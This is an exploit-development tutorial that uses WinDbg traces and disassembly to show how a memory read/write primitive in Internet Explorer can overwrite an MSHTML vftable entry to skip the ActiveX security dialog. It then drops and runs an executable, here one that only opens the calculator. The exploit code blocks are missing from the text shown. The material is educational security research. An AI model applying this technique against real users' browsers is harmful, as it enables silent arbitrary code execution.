When an html page tries to load and run an ActiveX object in IE, the user is alerted with a dialog box. For instance, create an html file with the following code:

If you open this file in IE, you should get the following dialog box:

pic_27
If we activate the so-called God Mode, IE runs the ActiveX object without asking for the user’s permission. Basically, we’ll just use our ability to read and write where we want to alter the behavior of IE.

But what’s so interesting in popping up a calculator? That’s a valid demonstration for general shellcode because it proves that we can run arbitrary code, but here we’ve just proved that we can execute any program which resides on the user’s hard disk. We’d like to execute arbitrary code, instead.

One solution is to create an .exe file containing code and data of our choosing and then execute it. But for now, let’s try to bypass the dialog box when executing the code above.

Bypassing the dialog box

The dialog box displayed when the code above is run looks like a regular Windows dialog box, so it’s likely that IE uses the Windows API to create it. Let’s search for msdn dialog box with google. The first result is this link:

https://msdn.microsoft.com/en-us/library/windows/desktop/ms645452%28v=vs.85%29.aspx

As you can see in the following picture, there are a few functions used to create dialog boxes:

pic_28
By reading the Remarks section we discover that DialogBox calls CreateWindowEx:

pic_29
When we look at the other functions used to create dialog boxes, we find out that they also call CreateWindowEx, so we should put a breakpoint on CreateWindowEx.

First of all, we load the html page above in IE and, before allowing the blocked content (IE asks for a confirmation when you open local html files), we put a breakpoint on CreateWindowEx (both the ASCII and the Unicode version) in WinDbg:

  0:016> bp createwindowexw
  0:016> bp createwindowexa

Then, when we allow the blocked content, the breakpoint on CreateWindowExW is triggered. Here’s the stack trace:

0:007> k 20
ChildEBP RetAddr  
042bae7c 738d4467 user32!CreateWindowExW
042baebc 6eeee9fa IEShims!NS_HangResistanceInternal::APIHook_CreateWindowExW+0x64
042baefc 6efb9759 IEFRAME!SHFusionCreateWindowEx+0x47
042bb058 6efb951e IEFRAME!CBrowserFrameState::FindTabIDFromRootThreadID+0x13b
042bb0a4 6efb9409 IEFRAME!UnifiedFrameAware_AcquireModalDialogLockAndParent+0xe9
042bb0c4 738e8c5c IEFRAME!TabWindowExports::AcquireModalDialogLockAndParent+0x1b
042bb0e0 74e7f0c8 IEShims!NS_UISuppression::APIHook_DialogBoxParamW+0x31
042bb910 74e9efe0 urlmon!CSecurityManager::DisplayMessage+0x40
042bbcb4 74dff5d4 urlmon!memset+0x120a0
042bbcf8 6e2a84dc urlmon!CSecurityManager::ProcessUrlActionEx2+0x15f
042bbd6c 6e2a81ae MSHTML!CMarkup::ProcessURLAction2+0x31d
042bbd9c 6ecf7868 MSHTML!CMarkup::ProcessURLAction+0x3e
042bbe28 6e24d87d MSHTML!memcpy+0x120f00
042bbe6c 04d5c12d MSHTML!CDocument::HostQueryCustomPolicy+0x148
042bbee4 04d5bfae jscript9!ScriptEngine::CanObjectRun+0x78   <--------------------
042bbf30 04d5bde1 jscript9!ScriptSite::CreateObjectFromProgID+0xdf   <--------------------
042bbf74 04d5bd69 jscript9!ScriptSite::CreateActiveXObject+0x56   <--------------------
042bbfa8 04cc25d5 jscript9!JavascriptActiveXObject::NewInstance+0x90
042bc000 04cc272e jscript9!Js::InterpreterStackFrame::NewScObject_Helper+0xd6
042bc194 04c95cf5 jscript9!Js::InterpreterStackFrame::Process+0x2c6d
042bc29c 034b0fe9 jscript9!Js::InterpreterStackFrame::InterpreterThunk<1>+0x305
WARNING: Frame IP not in any known module. Following frames may be wrong.
042bc2a8 04c91f60 0x34b0fe9
042bc328 04c920ca jscript9!Js::JavascriptFunction::CallRootFunction+0x140
042bc340 04c9209f jscript9!Js::JavascriptFunction::CallRootFunction+0x19
042bc388 04c92027 jscript9!ScriptSite::CallRootFunction+0x40
042bc3b0 04d3df75 jscript9!ScriptSite::Execute+0x61
042bc43c 04d3db57 jscript9!ScriptEngine::ExecutePendingScripts+0x1e9
042bc4c4 04d3e0b7 jscript9!ScriptEngine::ParseScriptTextCore+0x2ad
042bc518 6e37b60c jscript9!ScriptEngine::ParseScriptText+0x5b
042bc550 6e37945d MSHTML!CActiveScriptHolder::ParseScriptText+0x42
042bc5a0 6e36b52f MSHTML!CJScript9Holder::ParseScriptText+0x58
042bc614 6e37c6a4 MSHTML!CScriptCollection::ParseScriptText+0x1f0

Three lines look particularly interesting:

042bbee4 04d5bfae jscript9!ScriptEngine::CanObjectRun+0x78   <--------------------
042bbf30 04d5bde1 jscript9!ScriptSite::CreateObjectFromProgID+0xdf   <--------------------
042bbf74 04d5bd69 jscript9!ScriptSite::CreateActiveXObject+0x56   <--------------------

Maybe the function CanObjectRun decides if the ActiveX object can run? Let’s delete the previous breakpoints and put a breakpoint on jscript9!ScriptSite::CreateActiveXObject:

bp jscript9!ScriptSite::CreateActiveXObject

When we reload the html page and allow the blocked content in IE, we break on CreateActiveXObject. Here’s the code:

jscript9!ScriptSite::CreateActiveXObject:
04eebd8b 6a18            push    18h
04eebd8d b81927eb04      mov     eax,offset jscript9!memset+0x2ac2 (04eb2719)
04eebd92 e88752f2ff      call    jscript9!_EH_epilog3_GS (04e1101e)
04eebd97 837d1000        cmp     dword ptr [ebp+10h],0
04eebd9b 8b5d08          mov     ebx,dword ptr [ebp+8]
04eebd9e 8b5b54          mov     ebx,dword ptr [ebx+54h]
04eebda1 0f8571721600    jne     jscript9!memset+0xf9c1 (05053018)
04eebda7 8bcb            mov     ecx,ebx
04eebda9 8d75e8          lea     esi,[ebp-18h]
04eebdac e8f4feffff      call    jscript9!AutoLeaveScriptPtr<IDispatch>::AutoLeaveScriptPtr<IDispatch> (04eebca5)
04eebdb1 8365fc00        and     dword ptr [ebp-4],0
04eebdb5 8365f000        and     dword ptr [ebp-10h],0 ss:002b:0446ba64=0446ba70
04eebdb9 896df0          mov     dword ptr [ebp-10h],ebp
04eebdbc 8d45dc          lea     eax,[ebp-24h]
04eebdbf 50              push    eax
04eebdc0 8b45f0          mov     eax,dword ptr [ebp-10h]
04eebdc3 8bcb            mov     ecx,ebx
04eebdc5 e87faaf9ff      call    jscript9!Js::LeaveScriptObject<1,1>::LeaveScriptObject<1,1> (04e86849)
04eebdca 8b4d0c          mov     ecx,dword ptr [ebp+0Ch]
04eebdcd 8bc6            mov     eax,esi
04eebdcf c645fc01        mov     byte ptr [ebp-4],1
04eebdd3 8b7508          mov     esi,dword ptr [ebp+8]
04eebdd6 50              push    eax
04eebdd7 ff7510          push    dword ptr [ebp+10h]
04eebdda 8bd6            mov     edx,esi
04eebddc e8ea000000      call    jscript9!ScriptSite::CreateObjectFromProgID (04eebecb)   <---------------
04eebde1 c645fc00        mov     byte ptr [ebp-4],0
04eebde5 807de400        cmp     byte ptr [ebp-1Ch],0
04eebde9 8bf8            mov     edi,eax

If we step inside jscript9!ScriptSite::CreateObjectFromProgID we see the following code:

jscript9!ScriptSite::CreateObjectFromProgID:
04eebecb 8bff            mov     edi,edi
04eebecd 55              push    ebp
04eebece 8bec            mov     ebp,esp
04eebed0 83ec34          sub     esp,34h
04eebed3 a144630a05      mov     eax,dword ptr [jscript9!__security_cookie (050a6344)]
04eebed8 33c5            xor     eax,ebp
04eebeda 8945fc          mov     dword ptr [ebp-4],eax
04eebedd 53              push    ebx
04eebede 8b5d0c          mov     ebx,dword ptr [ebp+0Ch]
04eebee1 56              push    esi
04eebee2 33c0            xor     eax,eax
04eebee4 57              push    edi
04eebee5 8b7d08          mov     edi,dword ptr [ebp+8]
04eebee8 8bf2            mov     esi,edx
04eebeea 8975dc          mov     dword ptr [ebp-24h],esi
04eebeed 8945cc          mov     dword ptr [ebp-34h],eax
04eebef0 897dd0          mov     dword ptr [ebp-30h],edi
04eebef3 8945d4          mov     dword ptr [ebp-2Ch],eax
04eebef6 8945d8          mov     dword ptr [ebp-28h],eax
04eebef9 8945e8          mov     dword ptr [ebp-18h],eax
04eebefc 85ff            test    edi,edi
04eebefe 0f85e26a1600    jne     jscript9!memset+0xf390 (050529e6)
04eebf04 8b4604          mov     eax,dword ptr [esi+4]
04eebf07 e8d5000000      call    jscript9!ScriptEngine::InSafeMode (04eebfe1)
04eebf0c 85c0            test    eax,eax
04eebf0e 8d45ec          lea     eax,[ebp-14h]
04eebf11 50              push    eax
04eebf12 51              push    ecx
04eebf13 0f84d86a1600    je      jscript9!memset+0xf39b (050529f1)
04eebf19 ff1508400905    call    dword ptr [jscript9!_imp__CLSIDFromProgID (05094008)]
04eebf1f 85c0            test    eax,eax
04eebf21 0f88e867fcff    js      jscript9!ScriptSite::CreateObjectFromProgID+0xf6 (04eb270f)
04eebf27 8d45ec          lea     eax,[ebp-14h]
04eebf2a 50              push    eax
04eebf2b 8b4604          mov     eax,dword ptr [esi+4]
04eebf2e e8e2030000      call    jscript9!ScriptEngine::CanCreateObject (04eec315)   <-----------------------
04eebf33 85c0            test    eax,eax
04eebf35 0f84d467fcff    je      jscript9!ScriptSite::CreateObjectFromProgID+0xf6 (04eb270f)

If we keep stepping through the code, we get to jscript9!ScriptEngine::CanCreateObject. This function also looks interesting. For now, let’s note that it returns 1 (i.e. EAX = 1) in this case. We continue to step through the code:

04eebf3b 6a05            push    5
04eebf3d 58              pop     eax
04eebf3e 85ff            test    edi,edi
04eebf40 0f85b66a1600    jne     jscript9!memset+0xf3a6 (050529fc)
04eebf46 8d4de4          lea     ecx,[ebp-1Ch]
04eebf49 51              push    ecx
04eebf4a 68ac0fec04      push    offset jscript9!IID_IClassFactory (04ec0fac)
04eebf4f ff75e8          push    dword ptr [ebp-18h]
04eebf52 50              push    eax
04eebf53 8d45ec          lea     eax,[ebp-14h]
04eebf56 50              push    eax
04eebf57 ff1504400905    call    dword ptr [jscript9!_imp__CoGetClassObject (05094004)]
04eebf5d 85c0            test    eax,eax
04eebf5f 0f88aa67fcff    js      jscript9!ScriptSite::CreateObjectFromProgID+0xf6 (04eb270f)
04eebf65 8b45e4          mov     eax,dword ptr [ebp-1Ch]
04eebf68 8b08            mov     ecx,dword ptr [eax]
04eebf6a 8d55e0          lea     edx,[ebp-20h]
04eebf6d 52              push    edx
04eebf6e 68ccbfee04      push    offset jscript9!IID_IClassFactoryEx (04eebfcc)
04eebf73 50              push    eax
04eebf74 ff11            call    dword ptr [ecx]      ds:002b:040725f8={wshom!CClassFactory::QueryInterface (04080554)}
04eebf76 85c0            test    eax,eax
04eebf78 8b45e4          mov     eax,dword ptr [ebp-1Ch]
04eebf7b 8b08            mov     ecx,dword ptr [eax]
04eebf7d 0f89a76a1600    jns     jscript9!memset+0xf3d4 (05052a2a)
04eebf83 53              push    ebx
04eebf84 681c13e104      push    offset jscript9!IID_IUnknown (04e1131c)
04eebf89 6a00            push    0
04eebf8b 50              push    eax
04eebf8c ff510c          call    dword ptr [ecx+0Ch]  ds:002b:04072604={wshom!CClassFactory::CreateInstance (04080613)}
04eebf8f 8bf0            mov     esi,eax
04eebf91 8b45e4          mov     eax,dword ptr [ebp-1Ch]
04eebf94 8b08            mov     ecx,dword ptr [eax]
04eebf96 50              push    eax
04eebf97 ff5108          call    dword ptr [ecx+8]    ds:002b:04072600={wshom!CClassFactory::Release (04080909)}
04eebf9a 85f6            test    esi,esi
04eebf9c 7818            js      jscript9!ScriptSite::CreateObjectFromProgID+0xe3 (04eebfb6)
04eebf9e 8b4ddc          mov     ecx,dword ptr [ebp-24h]
04eebfa1 ff33            push    dword ptr [ebx]
04eebfa3 8b4904          mov     ecx,dword ptr [ecx+4]
04eebfa6 8d55ec          lea     edx,[ebp-14h]
04eebfa9 e807010000      call    jscript9!ScriptEngine::CanObjectRun (04eec0b5)   <----------------------
04eebfae 85c0            test    eax,eax
04eebfb0 0f8467a90800    je      jscript9!ScriptSite::CreateObjectFromProgID+0xfd (04f7691d)   <---------------
04eebfb6 8b4dfc          mov     ecx,dword ptr [ebp-4]
04eebfb9 5f              pop     edi
04eebfba 8bc6            mov     eax,esi
04eebfbc 5e              pop     esi
04eebfbd 33cd            xor     ecx,ebp
04eebfbf 5b              pop     ebx
04eebfc0 e87953f2ff      call    jscript9!__security_check_cookie (04e1133e)
04eebfc5 c9              leave
04eebfc6 c20800          ret     8

Finally, we get to jscript9!ScriptEngine::CanObjectRun. When we step over it, the familiar dialog box pops up:

pic_27
Let’s click on Yes and go back in WinDbg. We can see that CanObjectRun returned 1 (i.e EAX = 1). This means that the je at 04eebfb0 is not taken and CreateObjectFromProgID returns. We can see that the calculator pops up.

Now let’s put a breakpoint right at 04eebfae, reload the page in IE and let’s see what happens if we click on No when the dialog box appears. Now EAX is 0 and je is taken. If we resume the execution, we can see that the calculator doesn’t pop up this time.

So, if we want to bypass the dialog box, we must force CanObjectRun to return true (i.e. EAX != 0). Unfortunately, we can’t modify the code because it resides on read-only pages. We’ll need to think of something else.

Let’s put a breakpoint on jscript9!ScriptEngine::CanObjectRun and reload the page in IE. This time, we’re stepping inside CanObjectRun:

jscript9!ScriptEngine::CanObjectRun:
04eec0b5 8bff            mov     edi,edi
04eec0b7 55              push    ebp
04eec0b8 8bec            mov     ebp,esp
04eec0ba 83ec48          sub     esp,48h
04eec0bd a144630a05      mov     eax,dword ptr [jscript9!__security_cookie (050a6344)]
04eec0c2 33c5            xor     eax,ebp
04eec0c4 8945f8          mov     dword ptr [ebp-8],eax
04eec0c7 53              push    ebx
04eec0c8 8b5d08          mov     ebx,dword ptr [ebp+8]
04eec0cb 56              push    esi
04eec0cc 57              push    edi
04eec0cd 8bf9            mov     edi,ecx
04eec0cf 8bf2            mov     esi,edx
04eec0d1 8bc7            mov     eax,edi
04eec0d3 8975cc          mov     dword ptr [ebp-34h],esi
04eec0d6 e806ffffff      call    jscript9!ScriptEngine::InSafeMode (04eebfe1)
04eec0db 85c0            test    eax,eax
04eec0dd 0f844e581600    je      jscript9!memset+0xe3b4 (05051931)
04eec0e3 f687e401000008  test    byte ptr [edi+1E4h],8
04eec0ea 0f8450581600    je      jscript9!memset+0xe3c3 (05051940)
04eec0f0 8d45bc          lea     eax,[ebp-44h]
04eec0f3 50              push    eax
04eec0f4 e87a020000      call    jscript9!ScriptEngine::GetSiteHostSecurityManagerNoRef (04eec373)
04eec0f9 85c0            test    eax,eax
04eec0fb 0f8838581600    js      jscript9!memset+0xe3bc (05051939)
04eec101 8b45bc          mov     eax,dword ptr [ebp-44h]
04eec104 8d7dd0          lea     edi,[ebp-30h]
04eec107 a5              movs    dword ptr es:[edi],dword ptr [esi]
04eec108 a5              movs    dword ptr es:[edi],dword ptr [esi]
04eec109 a5              movs    dword ptr es:[edi],dword ptr [esi]
04eec10a a5              movs    dword ptr es:[edi],dword ptr [esi]
04eec10b 895de0          mov     dword ptr [ebp-20h],ebx
04eec10e 33db            xor     ebx,ebx
04eec110 53              push    ebx
04eec111 6a18            push    18h
04eec113 8d55d0          lea     edx,[ebp-30h]
04eec116 52              push    edx
04eec117 8d55cc          lea     edx,[ebp-34h]
04eec11a 52              push    edx
04eec11b 8d55c0          lea     edx,[ebp-40h]
04eec11e 52              push    edx
04eec11f 6868c1ee04      push    offset jscript9!GUID_CUSTOM_CONFIRMOBJECTSAFETY (04eec168)
04eec124 895de4          mov     dword ptr [ebp-1Ch],ebx
04eec127 8b08            mov     ecx,dword ptr [eax]
04eec129 50              push    eax
04eec12a ff5114          call    dword ptr [ecx+14h]  ds:002b:6ed255f4={MSHTML!TearoffThunk5 (6e1dafe5)}   <--------------------------
04eec12d 85c0            test    eax,eax
04eec12f 0f8804581600    js      jscript9!memset+0xe3bc (05051939)
04eec135 8b45c0          mov     eax,dword ptr [ebp-40h]
04eec138 6a03            push    3

When we step over the call at 04eec12a, the familiar dialog box pops up. Let’s keep stepping:

04eec13a 5b              pop     ebx
04eec13b 85c0            test    eax,eax
04eec13d 740f            je      jscript9!ScriptEngine::CanObjectRun+0x99 (04eec14e)
04eec13f 837dcc04        cmp     dword ptr [ebp-34h],4
04eec143 7202            jb      jscript9!ScriptEngine::CanObjectRun+0x92 (04eec147)
04eec145 8b18            mov     ebx,dword ptr [eax]
04eec147 50              push    eax
04eec148 ff151c400905    call    dword ptr [jscript9!_imp__CoTaskMemFree (0509401c)]
04eec14e 6a00            push    0
04eec150 f6c30f          test    bl,0Fh
04eec153 58              pop     eax
04eec154 0f94c0          sete    al
04eec157 8b4df8          mov     ecx,dword ptr [ebp-8]
04eec15a 5f              pop     edi
04eec15b 5e              pop     esi
04eec15c 33cd            xor     ecx,ebp
04eec15e 5b              pop     ebx
04eec15f e8da51f2ff      call    jscript9!__security_check_cookie (04e1133e)
04eec164 c9              leave
04eec165 c20400          ret     4

Finally, CanObjectRun returns.

Let’s look again at the following three lines of code:

04eec127 8b08            mov     ecx,dword ptr [eax]      ; ecx = vftable pointer
04eec129 50              push    eax
04eec12a ff5114          call    dword ptr [ecx+14h]  ds:002b:6ed255f4={MSHTML!TearoffThunk5 (6e1dafe5)}

It’s pretty clear that the first line reads the vftable pointer from the first dword of the object pointed to by eax and that, finally, the third instruction calls the 6th virtual function (offset 14h) in the vftable. Since all vftables are located at fixed RVAs, we can locate and modify this vftable so that we can call whetever code we want.

Right before the call at 04eec12a, eax is clearly non zero, so, if we were to return immediately from CanObjectRun, CanObjectRun would return true. What happens if we overwrite the 6th pointer of the vftable with the value 04eec164?

What happens is that the call at 04eec127 will call the epilog of CanObjectRun so CanObjectRun will end and return true. Everything works correctly because, even if the call at 04eec127 push a ret eip on the stack, the epilog of CanObjectRun will restore esp to the correct value. Remember that leave is equivalent to the following two instructions:

mov   esp, ebp
pop   ebp

Let’s put a breakpoint at 04eec12a, reload the page in IE and, when the breakpoint is triggered, examine the vftable:

0:007> ln ecx
(6ed255e0)   MSHTML!s_apfnPlainTearoffVtable   |  (6ed25ce8)   MSHTML!s_apfnEmbeddedDocTearoffVtable
Exact matches:
    MSHTML!s_apfnPlainTearoffVtable = <no type information>
0:007> dds ecx
6ed255e0  6e162681 MSHTML!PlainQueryInterface
6ed255e4  6e1625a1 MSHTML!CAPProcessor::AddRef
6ed255e8  6e13609d MSHTML!PlainRelease
6ed255ec  6e128eb5 MSHTML!TearoffThunk3
6ed255f0  6e30604a MSHTML!TearoffThunk4
6ed255f4  6e1dafe5 MSHTML!TearoffThunk5    <----------- we want to overwrite this
6ed255f8  6e1d9a77 MSHTML!TearoffThunk6
6ed255fc  6e2b1a73 MSHTML!TearoffThunk7
6ed25600  6e1d770c MSHTML!TearoffThunk8
6ed25604  6e1db22c MSHTML!TearoffThunk9
6ed25608  6e1db1e3 MSHTML!TearoffThunk10
6ed2560c  6e307db5 MSHTML!TearoffThunk11
6ed25610  6e1db2b8 MSHTML!TearoffThunk12
6ed25614  6e3e2a3d MSHTML!TearoffThunk13
6ed25618  6e2f2719 MSHTML!TearoffThunk14
6ed2561c  6e304879 MSHTML!TearoffThunk15
6ed25620  6e1db637 MSHTML!TearoffThunk16
6ed25624  6e1e1bf3 MSHTML!TearoffThunk17
6ed25628  6e1d9649 MSHTML!TearoffThunk18
6ed2562c  6e558422 MSHTML!TearoffThunk19
6ed25630  6e63bc4a MSHTML!TearoffThunk20
6ed25634  6e1e16d9 MSHTML!TearoffThunk21
6ed25638  6e397b23 MSHTML!TearoffThunk22
6ed2563c  6e2c2734 MSHTML!TearoffThunk23
6ed25640  6e3975ed MSHTML!TearoffThunk24
6ed25644  6e5728c5 MSHTML!TearoffThunk25
6ed25648  6e475a7d MSHTML!TearoffThunk26
6ed2564c  6e456310 MSHTML!TearoffThunk27
6ed25650  6e46ff2d MSHTML!TearoffThunk28
6ed25654  6e45a803 MSHTML!TearoffThunk29
6ed25658  6e47d81a MSHTML!TearoffThunk30
6ed2565c  6e2d3f19 MSHTML!TearoffThunk31

Determining the RVA of the vftable is quite easy:

0:007> ? MSHTML!s_apfnPlainTearoffVtable-mshtml
Evaluate expression: 12932576 = 00c555e0

Now let’s find the RVA of the epilog at 04eec164:

0:007> !address 04eec164

                                     
Mapping file section regions...
Mapping module regions...
Mapping PEB regions...
Mapping TEB and stack regions...
Mapping heap regions...
Mapping page heap regions...
Mapping other regions...
Mapping stack trace database regions...
Mapping activation context regions...


Usage:                  Image
Base Address:           04e11000
End Address:            05094000
Region Size:            00283000
State:                  00001000  MEM_COMMIT
Protect:                00000020  PAGE_EXECUTE_READ
Type:                   01000000  MEM_IMAGE
Allocation Base:        04e10000
Allocation Protect:     00000080  PAGE_EXECUTE_WRITECOPY
Image Path:             C:\Windows\SysWOW64\jscript9.dll
Module Name:            jscript9      <----------------------------------------------
Loaded Image Name:      C:\Windows\SysWOW64\jscript9.dll
Mapped Image Name:      
More info:              lmv m jscript9
More info:              !lmi jscript9
More info:              ln 0x4eec164
More info:              !dh 0x4e10000


0:007> ? 04eec164-jscript9
Evaluate expression: 901476 = 000dc164

So the vftable is at mshtml + 0xc555e0 and we need to overwrite the dword at mshtml + 0xc555e0 + 0x14 with the value jscript9 + 0xdc164. Let’s see the javascript code to do this:

Note that the code restores the vftable as soon as possible (God mode off!) because the altered vftable would lead to a crash in the long run.

Here’s the full code:

Open it in IE and, when the alert box tells you, go in WinDbg and set the byte at 0c0af01b to 0x20 or the dword at 0c0af018 to 0x20000000. Then close the alert box and the calculator should pop up. If there is an error (it may happen, as we already saw), don’t worry and repeat the process.

Running arbitrary code

We saw how to run an executable present on the victim’s computer. Now let’s see how we can execute arbitrary code. The trick is to create an .exe file and then execute it. This is the code to do just that:

I won’t explain the details of how this code works because I don’t think that’s very interesting.

First of all, let’s create a little application which open the calculator. In real life, we’d code something more interesting and useful, of course, but that’s enough for a demonstration.

Create a C/C++ Win32 Project in Visual Studio 2013 with the following code:

Change the project properties as follows:

  • [Release]
    • Configuration Properties
      • C/C++
        • Code Generation
          • Runtime Library: Multi-threaded (/MT)

This will make sure that the runtime library is statically linked (we want the exe file to be standalone). Build the Release version and you should have a 68-KB file. Mine is named runcalc.exe.

Now encode runcalc.exe in base64 with a little Python script:

Now copy and paste the encoded data into the javascript code above so that you have

I snipped the string because too long, but you can download it here: runcalc.

Open the html file in IE and you’ll see that the calculator doesn’t pop up. To see what’s wrong, open the Developer Tools (F12), go to the Console tab and then reload the page. Here’s what we get:

pic_30
The problem is that Microsoft decided to disable ADODB.Stream in Internet Explorer because ADODB.Stream is intrinsically unsafe. For now, let’s reenable it by using a little utility called acm (download).

Install acm, run it and enable ADODB.Stream like shown in the following picture:

pic_31
Now restart IE and open the html file again. This time the calculator will pop up!

The problems are not over, unfortunately.

Download an utility called SimpleServer:WWW from here: link.

We’re going to use it to run the html file as if it were served by a web server. SimpleServer is easy to configure. Just create a folder called WebDir on the Desktop, copy the html file into that folder, then run SimpleServer and select the html file like indicated in the following picture:

pic_32
Then click on Start. Now open IE and open the page at the address 127.0.0.1. The calculator won’t pop up. Once again, use the Developer Tools to see what’s wrong:

pic_33
It seems that things work differently when we receive a page from a server.

Change the settings as shown in the following picture:

pic_34
Reload the page and you should see another error:

pic_35
OK, now is time to solve all these problems. Reset all the settings in IE and disable again ADODB.Stream with the utility acm. Here’s the full code we’re going to work on:

I snipped the value of runcalc because it was too long. You can download the full code from here: code1.

Use SimpleServer to serve this code. Go to 127.0.0.1 in IE and when the dialog box pops up do what it says in WinDbg. Unfortunately, IE crashes here:

6ef82798 90              nop
IEFRAME!CDocObjectHost::_ScriptErr_Dlg:
6ef82799 8bff            mov     edi,edi
6ef8279b 55              push    ebp
6ef8279c 8bec            mov     ebp,esp
6ef8279e b870100000      mov     eax,1070h
6ef827a3 e86ee8f0ff      call    IEFRAME!_alloca_probe (6ee91016)
6ef827a8 a1b874376f      mov     eax,dword ptr [IEFRAME!__security_cookie (6f3774b8)]
6ef827ad 33c5            xor     eax,ebp
6ef827af 8945fc          mov     dword ptr [ebp-4],eax
6ef827b2 53              push    ebx
6ef827b3 33db            xor     ebx,ebx
6ef827b5 57              push    edi
6ef827b6 8bf9            mov     edi,ecx
6ef827b8 399e78050000    cmp     dword ptr [esi+578h],ebx ds:002b:00000578=????????   <--------------------
6ef827be 0f84b8890c00    je      IEFRAME!CDocObjectHost::_ScriptErr_Dlg+0x3d (6f04b17c)
6ef827c4 e99d890c00      jmp     IEFRAME!CDocObjectHost::_ScriptErr_Dlg+0x27 (6f04b166)
6ef827c9 90              nop
6ef827ca 90              nop
6ef827cb 90              nop
6ef827cc 90              nop
6ef827cd 90              nop
IEFRAME!CDocObjectHost::_ScriptErr_CacheInfo:
6ef827ce 8bff            mov     edi,edi
6ef827d0 55              push    ebp
6ef827d1 8bec            mov     ebp,esp
6ef827d3 81eca8000000    sub     esp,0A8h
6ef827d9 a1b874376f      mov     eax,dword ptr [IEFRAME!__security_cookie (6f3774b8)]
6ef827de 33c5            xor     eax,ebp

This might be a problem with our God Mode. Let’s find out by modifying our javascript code as follows:

We just add an alert right after the activation of the God Mode. Restart IE and WinDbg and repeat the whole process.

I must admit that I get the Error message box a lot. Let’s change some values and see if things get better. Here are the changes:

Ah, much better! Now it’s way more stable, at least on my system.

Finally, the dialog box with the address of the modified entry in the vftable pops up. In my case, it says bp on 6d0f55f4. Let’s put a breakpoint on access:

ba r4 mshtml+0xc555e0+0x14

After we hit F5 and we close the dialog, the execution stops here:

0555c15a 5f              pop     edi
0555c15b 5e              pop     esi
0555c15c 33cd            xor     ecx,ebp
0555c15e 5b              pop     ebx
0555c15f e8da51f2ff      call    jscript9!__security_check_cookie (0548133e)
0555c164 c9              leave         <-------------------- we are here
0555c165 c20400          ret     4

Here’s the stack trace:

0:007> k 5
ChildEBP RetAddr  
03e0bbb4 0555bfae jscript9!ScriptEngine::CanObjectRun+0xaf
03e0bc00 0555bde1 jscript9!ScriptSite::CreateObjectFromProgID+0xdf
03e0bc44 0555bd69 jscript9!ScriptSite::CreateActiveXObject+0x56
03e0bc78 054c25d5 jscript9!JavascriptActiveXObject::NewInstance+0x90
03e0bcd0 054ccd4a jscript9!Js::InterpreterStackFrame::NewScObject_Helper+0xd6

OK, we’re inside CreateActiveXObject so everything is proceeding as it should. Let’s hit F5 again. Now the execution stops on the same instruction but the stack trace is different:

0:007> k 10
ChildEBP RetAddr  
03e0a4dc 6eeb37aa jscript9!ScriptEngine::CanObjectRun+0xaf
03e0b778 6eedac3e IEFRAME!CDocObjectHost::OnExec+0xf9d
03e0b7a8 6c9d7e9a IEFRAME!CDocObjectHost::Exec+0x23d
03e0b810 6c9d7cc7 MSHTML!CWindow::ShowErrorDialog+0x95
03e0b954 6c9d7b68 MSHTML!COmWindowProxy::Fire_onerror+0xc6
03e0bbc0 6c9d7979 MSHTML!CMarkup::ReportScriptError+0x179
03e0bc40 0555dbe4 MSHTML!CActiveScriptHolder::OnScriptError+0x14e
03e0bc50 0555e516 jscript9!ScriptEngine::OnScriptError+0x17
03e0bc6c 0555e4b6 jscript9!ScriptSite::ReportError+0x56
03e0bc78 0555e460 jscript9!ScriptSite::HandleJavascriptException+0x1b
03e0c3d8 05492027 jscript9!ScriptSite::CallRootFunction+0x6d
03e0c400 0553df75 jscript9!ScriptSite::Execute+0x61
03e0c48c 0553db57 jscript9!ScriptEngine::ExecutePendingScripts+0x1e9
03e0c514 0553e0b7 jscript9!ScriptEngine::ParseScriptTextCore+0x2ad
03e0c568 6c74b60c jscript9!ScriptEngine::ParseScriptText+0x5b
03e0c5a0 6c74945d MSHTML!CActiveScriptHolder::ParseScriptText+0x42

After a little bit of stepping IE crashes as before. It seems we have a problem with our God Mode. Probably, our problem is that we modified the vftable itself which is used by all the objects of the same type. We should create a modified copy of the original vftable and make the object we’re interested in point to it.

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Massimiliano Tomassoli

Computer scientist, software developer, reverse engineer and student of computer security (+ piano player & music composer)

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